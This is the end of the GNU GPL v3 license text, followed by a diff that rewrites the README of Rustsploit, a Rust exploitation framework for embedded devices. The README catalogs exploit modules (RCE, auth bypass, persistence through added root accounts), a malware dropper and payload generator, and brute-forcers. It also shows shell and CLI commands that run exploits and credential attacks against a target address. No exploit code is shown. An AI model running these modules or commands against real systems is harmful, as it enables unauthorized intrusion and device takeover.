|
||||
You may make, run and propagate covered works that you do not
|
||||
convey, without conditions so long as your license otherwise remains
|
||||
in force. You may convey covered works to others for the sole purpose
|
||||
of having them make modifications exclusively for you, or provide you
|
||||
with facilities for running those works, provided that you comply with
|
||||
the terms of this License in conveying all material for which you do
|
||||
not control copyright. Those thus making or running the covered works
|
||||
for you must do so exclusively on your behalf, under your direction
|
||||
and control, on terms that prohibit them from making any copies of
|
||||
your copyrighted material outside their relationship with you.
|
||||
|
||||
Conveying under any other circumstances is permitted solely under
|
||||
the conditions stated below. Sublicensing is not allowed; section 10
|
||||
makes it unnecessary.
|
||||
|
||||
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
||||
|
||||
No covered work shall be deemed part of an effective technological
|
||||
measure under any applicable law fulfilling obligations under article
|
||||
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
||||
similar laws prohibiting or restricting circumvention of such
|
||||
measures.
|
||||
|
||||
When you convey a covered work, you waive any legal power to forbid
|
||||
circumvention of technological measures to the extent such circumvention
|
||||
is effected by exercising rights under this License with respect to
|
||||
the covered work, and you disclaim any intention to limit operation or
|
||||
modification of the work as a means of enforcing, against the work's
|
||||
users, your or third parties' legal rights to forbid circumvention of
|
||||
technological measures.
|
||||
|
||||
4. Conveying Verbatim Copies.
|
||||
|
||||
You may convey verbatim copies of the Program's source code as you
|
||||
receive it, in any medium, provided that you conspicuously and
|
||||
appropriately publish on each copy an appropriate copyright notice;
|
||||
keep intact all notices stating that this License and any
|
||||
non-permissive terms added in accord with section 7 apply to the code;
|
||||
keep intact all notices of the absence of any warranty; and give all
|
||||
recipients a copy of this License along with the Program.
|
||||
|
||||
You may charge any price or no price for each copy that you convey,
|
||||
and you may offer support or warranty protection for a fee.
|
||||
|
||||
5. Conveying Modified Source Versions.
|
||||
|
||||
You may convey a work based on the Program, or the modifications to
|
||||
produce it from the Program, in the form of source code under the
|
||||
terms of section 4, provided that you also meet all of these conditions:
|
||||
|
||||
a) The work must carry prominent notices stating that you modified
|
||||
it, and giving a relevant date.
|
||||
|
||||
b) The work must carry prominent notices stating that it is
|
||||
released under this License and any conditions added under section
|
||||
7. This requirement modifies the requirement in section 4 to
|
||||
"keep intact all notices".
|
||||
|
||||
c) You must license the entire work, as a whole, under this
|
||||
License to anyone who comes into possession of a copy. This
|
||||
License will therefore apply, along with any applicable section 7
|
||||
additional terms, to the whole of the work, and all its parts,
|
||||
regardless of how they are packaged. This License gives no
|
||||
permission to license the work in any other way, but it does not
|
||||
invalidate such permission if you have separately received it.
|
||||
|
||||
d) If the work has interactive user interfaces, each must display
|
||||
Appropriate Legal Notices; however, if the Program has interactive
|
||||
interfaces that do not display Appropriate Legal Notices, your
|
||||
work need not make them do so.
|
||||
|
||||
A compilation of a covered work with other separate and independent
|
||||
works, which are not by their nature extensions of the covered work,
|
||||
and which are not combined with it such as to form a larger program,
|
||||
in or on a volume of a storage or distribution medium, is called an
|
||||
"aggregate" if the compilation and its resulting copyright are not
|
||||
used to limit the access or legal rights of the compilation's users
|
||||
beyond what the individual works permit. Inclusion of a covered work
|
||||
in an aggregate does not cause this License to apply to the other
|
||||
parts of the aggregate.
|
||||
|
||||
6. Conveying Non-Source Forms.
|
||||
|
||||
You may convey a covered work in object code form under the terms
|
||||
of sections 4 and 5, provided that you also convey the
|
||||
machine-readable Corresponding Source under the terms of this License,
|
||||
in one of these ways:
|
||||
|
||||
a) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by the
|
||||
Corresponding Source fixed on a durable physical medium
|
||||
customarily used for software interchange.
|
||||
|
||||
b) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by a
|
||||
written offer, valid for at least three years and valid for as
|
||||
long as you offer spare parts or customer support for that product
|
||||
model, to give anyone who possesses the object code either (1) a
|
||||
copy of the Corresponding Source for all the software in the
|
||||
product that is covered by this License, on a durable physical
|
||||
medium customarily used for software interchange, for a price no
|
||||
more than your reasonable cost of physically performing this
|
||||
conveying of source, or (2) access to copy the
|
||||
Corresponding Source from a network server at no charge.
|
||||
|
||||
c) Convey individual copies of the object code with a copy of the
|
||||
written offer to provide the Corresponding Source. This
|
||||
alternative is allowed only occasionally and noncommercially, and
|
||||
only if you received the object code with such an offer, in accord
|
||||
with subsection 6b.
|
||||
|
||||
d) Convey the object code by offering access from a designated
|
||||
place (gratis or for a charge), and offer equivalent access to the
|
||||
Corresponding Source in the same way through the same place at no
|
||||
further charge. You need not require recipients to copy the
|
||||
Corresponding Source along with the object code. If the place to
|
||||
copy the object code is a network server, the Corresponding Source
|
||||
may be on a different server (operated by you or a third party)
|
||||
that supports equivalent copying facilities, provided you maintain
|
||||
clear directions next to the object code saying where to find the
|
||||
Corresponding Source. Regardless of what server hosts the
|
||||
Corresponding Source, you remain obligated to ensure that it is
|
||||
available for as long as needed to satisfy these requirements.
|
||||
|
||||
e) Convey the object code using peer-to-peer transmission, provided
|
||||
you inform other peers where the object code and Corresponding
|
||||
Source of the work are being offered to the general public at no
|
||||
charge under subsection 6d.
|
||||
|
||||
A separable portion of the object code, whose source code is excluded
|
||||
from the Corresponding Source as a System Library, need not be
|
||||
included in conveying the object code work.
|
||||
|
||||
A "User Product" is either (1) a "consumer product", which means any
|
||||
tangible personal property which is normally used for personal, family,
|
||||
or household purposes, or (2) anything designed or sold for incorporation
|
||||
into a dwelling. In determining whether a product is a consumer product,
|
||||
doubtful cases shall be resolved in favor of coverage. For a particular
|
||||
product received by a particular user, "normally used" refers to a
|
||||
typical or common use of that class of product, regardless of the status
|
||||
of the particular user or of the way in which the particular user
|
||||
actually uses, or expects or is expected to use, the product. A product
|
||||
is a consumer product regardless of whether the product has substantial
|
||||
commercial, industrial or non-consumer uses, unless such uses represent
|
||||
the only significant mode of use of the product.
|
||||
|
||||
"Installation Information" for a User Product means any methods,
|
||||
procedures, authorization keys, or other information required to install
|
||||
and execute modified versions of a covered work in that User Product from
|
||||
a modified version of its Corresponding Source. The information must
|
||||
suffice to ensure that the continued functioning of the modified object
|
||||
code is in no case prevented or interfered with solely because
|
||||
modification has been made.
|
||||
|
||||
If you convey an object code work under this section in, or with, or
|
||||
specifically for use in, a User Product, and the conveying occurs as
|
||||
part of a transaction in which the right of possession and use of the
|
||||
User Product is transferred to the recipient in perpetuity or for a
|
||||
fixed term (regardless of how the transaction is characterized), the
|
||||
Corresponding Source conveyed under this section must be accompanied
|
||||
by the Installation Information. But this requirement does not apply
|
||||
if neither you nor any third party retains the ability to install
|
||||
modified object code on the User Product (for example, the work has
|
||||
been installed in ROM).
|
||||
|
||||
The requirement to provide Installation Information does not include a
|
||||
requirement to continue to provide support service, warranty, or updates
|
||||
for a work that has been modified or installed by the recipient, or for
|
||||
the User Product in which it has been modified or installed. Access to a
|
||||
network may be denied when the modification itself materially and
|
||||
adversely affects the operation of the network or violates the rules and
|
||||
protocols for communication across the network.
|
||||
|
||||
Corresponding Source conveyed, and Installation Information provided,
|
||||
in accord with this section must be in a format that is publicly
|
||||
documented (and with an implementation available to the public in
|
||||
source code form), and must require no special password or key for
|
||||
unpacking, reading or copying.
|
||||
|
||||
7. Additional Terms.
|
||||
|
||||
"Additional permissions" are terms that supplement the terms of this
|
||||
License by making exceptions from one or more of its conditions.
|
||||
Additional permissions that are applicable to the entire Program shall
|
||||
be treated as though they were included in this License, to the extent
|
||||
that they are valid under applicable law. If additional permissions
|
||||
apply only to part of the Program, that part may be used separately
|
||||
under those permissions, but the entire Program remains governed by
|
||||
this License without regard to the additional permissions.
|
||||
|
||||
When you convey a copy of a covered work, you may at your option
|
||||
remove any additional permissions from that copy, or from any part of
|
||||
it. (Additional permissions may be written to require their own
|
||||
removal in certain cases when you modify the work.) You may place
|
||||
additional permissions on material, added by you to a covered work,
|
||||
for which you have or can give appropriate copyright permission.
|
||||
|
||||
Notwithstanding any other provision of this License, for material you
|
||||
add to a covered work, you may (if authorized by the copyright holders of
|
||||
that material) supplement the terms of this License with terms:
|
||||
|
||||
a) Disclaiming warranty or limiting liability differently from the
|
||||
terms of sections 15 and 16 of this License; or
|
||||
|
||||
b) Requiring preservation of specified reasonable legal notices or
|
||||
author attributions in that material or in the Appropriate Legal
|
||||
Notices displayed by works containing it; or
|
||||
|
||||
c) Prohibiting misrepresentation of the origin of that material, or
|
||||
requiring that modified versions of such material be marked in
|
||||
reasonable ways as different from the original version; or
|
||||
|
||||
d) Limiting the use for publicity purposes of names of licensors or
|
||||
authors of the material; or
|
||||
|
||||
e) Declining to grant rights under trademark law for use of some
|
||||
trade names, trademarks, or service marks; or
|
||||
|
||||
f) Requiring indemnification of licensors and authors of that
|
||||
material by anyone who conveys the material (or modified versions of
|
||||
it) with contractual assumptions of liability to the recipient, for
|
||||
any liability that these contractual assumptions directly impose on
|
||||
those licensors and authors.
|
||||
|
||||
All other non-permissive additional terms are considered "further
|
||||
restrictions" within the meaning of section 10. If the Program as you
|
||||
received it, or any part of it, contains a notice stating that it is
|
||||
governed by this License along with a term that is a further
|
||||
restriction, you may remove that term. If a license document contains
|
||||
a further restriction but permits relicensing or conveying under this
|
||||
License, you may add to a covered work material governed by the terms
|
||||
of that license document, provided that the further restriction does
|
||||
not survive such relicensing or conveying.
|
||||
|
||||
If you add terms to a covered work in accord with this section, you
|
||||
must place, in the relevant source files, a statement of the
|
||||
additional terms that apply to those files, or a notice indicating
|
||||
where to find the applicable terms.
|
||||
|
||||
Additional terms, permissive or non-permissive, may be stated in the
|
||||
form of a separately written license, or stated as exceptions;
|
||||
the above requirements apply either way.
|
||||
|
||||
8. Termination.
|
||||
|
||||
You may not propagate or modify a covered work except as expressly
|
||||
provided under this License. Any attempt otherwise to propagate or
|
||||
modify it is void, and will automatically terminate your rights under
|
||||
this License (including any patent licenses granted under the third
|
||||
paragraph of section 11).
|
||||
|
||||
However, if you cease all violation of this License, then your
|
||||
license from a particular copyright holder is reinstated (a)
|
||||
provisionally, unless and until the copyright holder explicitly and
|
||||
finally terminates your license, and (b) permanently, if the copyright
|
||||
holder fails to notify you of the violation by some reasonable means
|
||||
prior to 60 days after the cessation.
|
||||
|
||||
Moreover, your license from a particular copyright holder is
|
||||
reinstated permanently if the copyright holder notifies you of the
|
||||
violation by some reasonable means, this is the first time you have
|
||||
received notice of violation of this License (for any work) from that
|
||||
copyright holder, and you cure the violation prior to 30 days after
|
||||
your receipt of the notice.
|
||||
|
||||
Termination of your rights under this section does not terminate the
|
||||
licenses of parties who have received copies or rights from you under
|
||||
this License. If your rights have been terminated and not permanently
|
||||
reinstated, you do not qualify to receive new licenses for the same
|
||||
material under section 10.
|
||||
|
||||
9. Acceptance Not Required for Having Copies.
|
||||
|
||||
You are not required to accept this License in order to receive or
|
||||
run a copy of the Program. Ancillary propagation of a covered work
|
||||
occurring solely as a consequence of using peer-to-peer transmission
|
||||
to receive a copy likewise does not require acceptance. However,
|
||||
nothing other than this License grants you permission to propagate or
|
||||
modify any covered work. These actions infringe copyright if you do
|
||||
not accept this License. Therefore, by modifying or propagating a
|
||||
covered work, you indicate your acceptance of this License to do so.
|
||||
|
||||
10. Automatic Licensing of Downstream Recipients.
|
||||
|
||||
Each time you convey a covered work, the recipient automatically
|
||||
receives a license from the original licensors, to run, modify and
|
||||
propagate that work, subject to this License. You are not responsible
|
||||
for enforcing compliance by third parties with this License.
|
||||
|
||||
An "entity transaction" is a transaction transferring control of an
|
||||
organization, or substantially all assets of one, or subdividing an
|
||||
organization, or merging organizations. If propagation of a covered
|
||||
work results from an entity transaction, each party to that
|
||||
transaction who receives a copy of the work also receives whatever
|
||||
licenses to the work the party's predecessor in interest had or could
|
||||
give under the previous paragraph, plus a right to possession of the
|
||||
Corresponding Source of the work from the predecessor in interest, if
|
||||
the predecessor has it or can get it with reasonable efforts.
|
||||
|
||||
You may not impose any further restrictions on the exercise of the
|
||||
rights granted or affirmed under this License. For example, you may
|
||||
not impose a license fee, royalty, or other charge for exercise of
|
||||
rights granted under this License, and you may not initiate litigation
|
||||
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
||||
any patent claim is infringed by making, using, selling, offering for
|
||||
sale, or importing the Program or any portion of it.
|
||||
|
||||
11. Patents.
|
||||
|
||||
A "contributor" is a copyright holder who authorizes use under this
|
||||
License of the Program or a work on which the Program is based. The
|
||||
work thus licensed is called the contributor's "contributor version".
|
||||
|
||||
A contributor's "essential patent claims" are all patent claims
|
||||
owned or controlled by the contributor, whether already acquired or
|
||||
hereafter acquired, that would be infringed by some manner, permitted
|
||||
by this License, of making, using, or selling its contributor version,
|
||||
but do not include claims that would be infringed only as a
|
||||
consequence of further modification of the contributor version. For
|
||||
purposes of this definition, "control" includes the right to grant
|
||||
patent sublicenses in a manner consistent with the requirements of
|
||||
this License.
|
||||
|
||||
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
||||
patent license under the contributor's essential patent claims, to
|
||||
make, use, sell, offer for sale, import and otherwise run, modify and
|
||||
propagate the contents of its contributor version.
|
||||
|
||||
In the following three paragraphs, a "patent license" is any express
|
||||
agreement or commitment, however denominated, not to enforce a patent
|
||||
(such as an express permission to practice a patent or covenant not to
|
||||
sue for patent infringement). To "grant" such a patent license to a
|
||||
party means to make such an agreement or commitment not to enforce a
|
||||
patent against the party.
|
||||
|
||||
If you convey a covered work, knowingly relying on a patent license,
|
||||
and the Corresponding Source of the work is not available for anyone
|
||||
to copy, free of charge and under the terms of this License, through a
|
||||
publicly available network server or other readily accessible means,
|
||||
then you must either (1) cause the Corresponding Source to be so
|
||||
available, or (2) arrange to deprive yourself of the benefit of the
|
||||
patent license for this particular work, or (3) arrange, in a manner
|
||||
consistent with the requirements of this License, to extend the patent
|
||||
license to downstream recipients. "Knowingly relying" means you have
|
||||
actual knowledge that, but for the patent license, your conveying the
|
||||
covered work in a country, or your recipient's use of the covered work
|
||||
in a country, would infringe one or more identifiable patents in that
|
||||
country that you have reason to believe are valid.
|
||||
|
||||
If, pursuant to or in connection with a single transaction or
|
||||
arrangement, you convey, or propagate by procuring conveyance of, a
|
||||
covered work, and grant a patent license to some of the parties
|
||||
receiving the covered work authorizing them to use, propagate, modify
|
||||
or convey a specific copy of the covered work, then the patent license
|
||||
you grant is automatically extended to all recipients of the covered
|
||||
work and works based on it.
|
||||
|
||||
A patent license is "discriminatory" if it does not include within
|
||||
the scope of its coverage, prohibits the exercise of, or is
|
||||
conditioned on the non-exercise of one or more of the rights that are
|
||||
specifically granted under this License. You may not convey a covered
|
||||
work if you are a party to an arrangement with a third party that is
|
||||
in the business of distributing software, under which you make payment
|
||||
to the third party based on the extent of your activity of conveying
|
||||
the work, and under which the third party grants, to any of the
|
||||
parties who would receive the covered work from you, a discriminatory
|
||||
patent license (a) in connection with copies of the covered work
|
||||
conveyed by you (or copies made from those copies), or (b) primarily
|
||||
for and in connection with specific products or compilations that
|
||||
contain the covered work, unless you entered into that arrangement,
|
||||
or that patent license was granted, prior to 28 March 2007.
|
||||
|
||||
Nothing in this License shall be construed as excluding or limiting
|
||||
any implied license or other defenses to infringement that may
|
||||
otherwise be available to you under applicable patent law.
|
||||
|
||||
12. No Surrender of Others' Freedom.
|
||||
|
||||
If conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot convey a
|
||||
covered work so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you may
|
||||
not convey it at all. For example, if you agree to terms that obligate you
|
||||
to collect a royalty for further conveying from those to whom you convey
|
||||
the Program, the only way you could satisfy both those terms and this
|
||||
License would be to refrain entirely from conveying the Program.
|
||||
|
||||
13. Use with the GNU Affero General Public License.
|
||||
|
||||
Notwithstanding any other provision of this License, you have
|
||||
permission to link or combine any covered work with a work licensed
|
||||
under version 3 of the GNU Affero General Public License into a single
|
||||
combined work, and to convey the resulting work. The terms of this
|
||||
License will continue to apply to the part which is the covered work,
|
||||
but the special requirements of the GNU Affero General Public License,
|
||||
section 13, concerning interaction through a network will apply to the
|
||||
combination as such.
|
||||
|
||||
14. Revised Versions of this License.
|
||||
|
||||
The Free Software Foundation may publish revised and/or new versions of
|
||||
the GNU General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the
|
||||
Program specifies that a certain numbered version of the GNU General
|
||||
Public License "or any later version" applies to it, you have the
|
||||
option of following the terms and conditions either of that numbered
|
||||
version or of any later version published by the Free Software
|
||||
Foundation. If the Program does not specify a version number of the
|
||||
GNU General Public License, you may choose any version ever published
|
||||
by the Free Software Foundation.
|
||||
|
||||
If the Program specifies that a proxy can decide which future
|
||||
versions of the GNU General Public License can be used, that proxy's
|
||||
public statement of acceptance of a version permanently authorizes you
|
||||
to choose that version for the Program.
|
||||
|
||||
Later license versions may give you additional or different
|
||||
permissions. However, no additional obligations are imposed on any
|
||||
author or copyright holder as a result of your choosing to follow a
|
||||
later version.
|
||||
|
||||
15. Disclaimer of Warranty.
|
||||
|
||||
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
||||
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
||||
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
||||
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
||||
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
||||
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
||||
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
|
||||
16. Limitation of Liability.
|
||||
|
||||
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
||||
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
||||
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
||||
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
||||
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
||||
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
||||
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGES.
|
||||
|
||||
17. Interpretation of Sections 15 and 16.
|
||||
|
||||
If the disclaimer of warranty and limitation of liability provided
|
||||
above cannot be given local legal effect according to their terms,
|
||||
reviewing courts shall apply local law that most closely approximates
|
||||
an absolute waiver of all civil liability in connection with the
|
||||
Program, unless a warranty or assumption of liability accompanies a
|
||||
copy of the Program in return for a fee.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
state the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the program's name and a brief idea of what it does.>
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program does terminal interaction, make it output a short
|
||||
notice like this when it starts in an interactive mode:
|
||||
|
||||
<program> Copyright (C) <year> <name of author>
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, your program's commands
|
||||
might be different; for a GUI interface, you would use an "about box".
|
||||
|
||||
You should also get your employer (if you work as a programmer) or school,
|
||||
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
||||
For more information on this, and how to apply and follow the GNU GPL, see
|
||||
<https://www.gnu.org/licenses/>.
|
||||
|
||||
The GNU General Public License does not permit incorporating your program
|
||||
into proprietary programs. If your program is a subroutine library, you
|
||||
may consider it more useful to permit linking proprietary applications with
|
||||
the library. If this is what you want to do, use the GNU Lesser General
|
||||
Public License instead of this License. But first, please read
|
||||
<https://www.gnu.org/licenses/why-not-lgpl.html>.
|
||||
|
||||
@@ -1,211 +1,201 @@
|
||||
# Rustsploit 🛠️
|
||||
# Rustsploit
|
||||
|
||||
A Rust-based modular exploitation framework inspired by RouterSploit. This tool allows for running modules such as exploits, scanners, and credential checkers against embedded devices like routers.
|
||||
Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. One binary exposes the same module library through **four interfaces** — an interactive shell, a command-line runner, a post-quantum-encrypted REST/WebSocket API, and an MCP server — over an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services, with **Recog** service fingerprinting and **JARM/JA3** TLS fingerprinting built in.
|
||||
|
||||

|
||||
|
||||
📚 **Developer Documentation**:
|
||||
→ [Full Dev Guide (modules, proxy logic, shell flow, dispatch system)](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
|
||||
|
||||
---
|
||||
### Goals & To Do lists
|
||||
|
||||
Convert exploits and add modules
|
||||
|
||||
# completed
|
||||
```
|
||||
|
||||
added stalkroute a traceroute with firewall evasion requires root
|
||||
added malware dropper narruto dropper
|
||||
added refactored and fixed and improve alot of modules
|
||||
added added new version of payloadgen
|
||||
added smtp bruteforcer
|
||||
added pop3 bruteforcer
|
||||
added zte zte_zxv10_h201l_rce_authenticationbypass
|
||||
added ivanti ivanti_connect_secure_stack_based_buffer_overflow
|
||||
added apache_tomcat cve_2025_24813_apache_tomcat_rce
|
||||
added apache_tomcat catkiller_cve_2025_31650
|
||||
added palto_alto CVE-2025-0108. auth bypass
|
||||
added acm_5611_rce
|
||||
added zabbix_7_0_0_sql_injection
|
||||
added cve_2024_7029_avtech_camera
|
||||
added pachev_ftp_path_traversal_1_0
|
||||
added ipv6 support for rstp rdp and ssh cant find any ipv6 address i cant test on so untested
|
||||
added ftps support
|
||||
added ipv6 support to ftp anon and brute
|
||||
added rdp ipv6 support unable to find rpd ipv6 device to test on with shodan
|
||||
added exploit openssh server race condition 9.8.p1 |Server Destruction fork |
|
||||
bomb Persistence create SSH user | Remote Root Shell
|
||||
|
||||
added spotube exploit zero day exploit as of 24 april reported to spotube
|
||||
added exploit tplink_wr740n Buffer Overflow 'DOS'
|
||||
added exploit tp_link_vn020 Denial Of Service (DOS)
|
||||
added exploit abussecurity_camera_cve 2023 26609 variant2 RCE and SSH Root Access adds persistant account
|
||||
added exploit abussecurity_camera_cve 2023 26609 variant1 LFI, RCE and SSH Root Access
|
||||
added exploit uniview_nvr_pwd_disclosure password disclore
|
||||
updated docs again and readme
|
||||
rework command system to automaticly detect new modules
|
||||
added uniview_nvr_pwd_disclosure
|
||||
added ssdp_msearch
|
||||
added hearbleed info leak from server saved to a bin file
|
||||
added port scanner
|
||||
added find command
|
||||
updated docs
|
||||
created docs
|
||||
added wordlist for camera paths
|
||||
added acti camera module
|
||||
created bat payload generator for malware
|
||||
added proxy support https/http socks4/socks5
|
||||
telnet brute forcing module
|
||||
ssh brute forcing module
|
||||
ftp anonymous login module
|
||||
ftp brute forcing module
|
||||
added rtsp_bruteforce module
|
||||
dynamic modules listing and colored listing
|
||||
```
|
||||
|
||||
---
|
||||
```
|
||||
## 🚀 Building & Running
|
||||
## 📦🛠️ requirements
|
||||
`
|
||||
sudo apt update
|
||||
sudo apt install freerdp2-x11
|
||||
|
||||
for rdp bruteforce modudle
|
||||
> **Latest release:** see [`RELEASE_NOTES.txt`](RELEASE_NOTES.txt) — official `rmcp` MCP SDK, Recog + JARM/JA3/JA3S fingerprinting, a SecLists wordlist catalog, per-run output auto-save, HTTP connection pooling, and mass-scan fixes.
|
||||
|
||||
|
||||
```
|
||||
```
|
||||
### 📦 Clone the Repository
|
||||

|
||||
|
||||
```
|
||||
git clone https://github.com/s-b-repo/rustsploit.git
|
||||
cd rustsploit
|
||||
```
|
||||
|
||||
### 🛠️ Build the Project
|
||||
|
||||
```
|
||||
cargo build
|
||||
```
|
||||
|
||||
To build and run:
|
||||
```
|
||||
cargo run
|
||||
```
|
||||
|
||||
To install:
|
||||
```
|
||||
cargo install
|
||||
```
|
||||

|
||||
|
||||
---
|
||||
|
||||
### 🖥️ Run in Interactive Shell Mode
|
||||
## 📖 Wiki & Documentation
|
||||
|
||||
Launch the interactive RSF shell:
|
||||
Full documentation lives in the **[Rustsploit Wiki](docs/Home.md)**. Below is a quick index — click through for detailed guides, examples, and reference material.
|
||||
|
||||
```
|
||||
cargo run
|
||||
```
|
||||
|
||||
Once inside the shell:
|
||||
|
||||
```text
|
||||
rsf> help
|
||||
rsf> modules
|
||||
rsf> show_proxies
|
||||
rsf> proxy_on / proxy_off
|
||||
rsf> proxy_load proxies.txt
|
||||
rsf> find
|
||||
rsf> use exploits/heartbleed
|
||||
rsf> set target 192.168.1.1
|
||||
rsf> run
|
||||
```
|
||||
|
||||
🌀 Supports retrying proxies until one works (if proxy_on is enabled).
|
||||
| Document | Description |
|
||||
|----------|-------------|
|
||||
| [Getting Started](docs/Getting-Started.md) | Installation, build, quick-start, Docker deployment |
|
||||
| [Interactive Shell](docs/Interactive-Shell.md) | Shell walkthrough, command palette, chaining, shortcuts |
|
||||
| [CLI Reference](docs/CLI-Reference.md) | Command-line flags, non-shell usage, output formats |
|
||||
| [API Server](docs/API-Server.md) | REST + WebSocket API, PQ encryption, endpoints, rate limiting |
|
||||
| [API Usage Examples](docs/API-Usage-Examples.md) | Practical curl workflows, request/response samples |
|
||||
| [Module Catalog](docs/Module-Catalog.md) | All modules by category — exploits, scanners, creds |
|
||||
| [Module Development](docs/Module-Development.md) | How to author new modules, lifecycle, dispatcher |
|
||||
| [Bad Patterns Catalogue](docs/BAD_PATTERNS.md) | 133-regex `grep` matrix every module must pass — banned `.unwrap`, swallow, panic, blocking-IO, lossy casts, crypto, injection, etc. Re-runnable via `scripts/audit-bad-patterns.sh` |
|
||||
| [Bad Patterns Audit Report](docs/audit-report.md) | Latest whole-tree snapshot — strict-mode result on the 100 authored modules (zero hits) and observational counts on the rest of the framework |
|
||||
| [Security & Validation](docs/Security-Validation.md) | Input validation, security patterns, honeypot detection |
|
||||
| [Credential Modules Guide](docs/Credential-Modules-Guide.md) | Best practices for brute-force / cred modules |
|
||||
| [Exploit Modules Guide](docs/Exploit-Modules-Guide.md) | Best practices for exploit modules |
|
||||
| [Utilities & Helpers](docs/Utilities-Helpers.md) | `utils.rs` public API, target normalization, honeypot check |
|
||||
| [Testing & QA](docs/Testing-QA.md) | Build checks, smoke tests, wordlist validation |
|
||||
| [Changelog](docs/Changelog.md) | Release notes and version history |
|
||||
| [Contributing](docs/Contributing.md) | Fork guide, PR checklist, code style |
|
||||
| [Credits](docs/Credits.md) | Authors, acknowledgements, legal notice |
|
||||
|
||||
---
|
||||
|
||||
### 🔧 Run in CLI Mode
|
||||
## Highlights
|
||||
|
||||
#### ▶ Exploit
|
||||
```
|
||||
cargo run -- --command exploit --module heartbleed --target 192.168.1.1
|
||||
```
|
||||
|
||||
#### 🧪 Scanner
|
||||
```
|
||||
cargo run -- --command scanner --module port_scanner --target 192.168.1.1
|
||||
```
|
||||
|
||||
#### 🔐 Credentials
|
||||
```
|
||||
cargo run -- --command creds --module ssh_brute --target 192.168.1.1
|
||||
```
|
||||
- **Self-registering modules:** modules register at compile time via the `inventory` crate — add the file, a `register_native_module!` call, and a `pub mod <name>;` line in the parent `mod.rs`; no build-script indexer
|
||||
- **Interactive shell:** 40+ commands with shortcuts, command chaining (`&`), tab completion, and command history
|
||||
- **Module metadata:** `info()` per module — CVE references, author, rank. The framework is exploitation-only: modules run an exploit and report findings (there is no `check()` / non-destructive verification phase)
|
||||
- **Global options (`setg`):** Persistent key-value settings that apply across all modules — like Metasploit's datastore
|
||||
- **Credential store:** Track discovered credentials across sessions with `creds` commands and JSON persistence
|
||||
- **Host/service tracking:** Workspace-based engagement tracking with `hosts`, `services`, `notes` commands
|
||||
- **Loot management:** Structured evidence collection with file storage and metadata indexing
|
||||
- **Resource scripts:** Automate workflows from files, auto-load startup scripts, save command history with `makerc`
|
||||
- **Background jobs:** Run modules asynchronously with `run -j`, manage with `jobs` commands
|
||||
- **Export/reporting:** Export all engagement data to JSON, CSV, or human-readable summary reports
|
||||
- **Console logging & auto-save:** `spool` captures all output to a file on demand; in addition, **every console/CLI module run is auto-saved** (append mode) to `~/.rustsploit/loot/<module> <time> results.txt` — stdout and stderr both captured, multi-host sweeps accumulate into one per-run file
|
||||
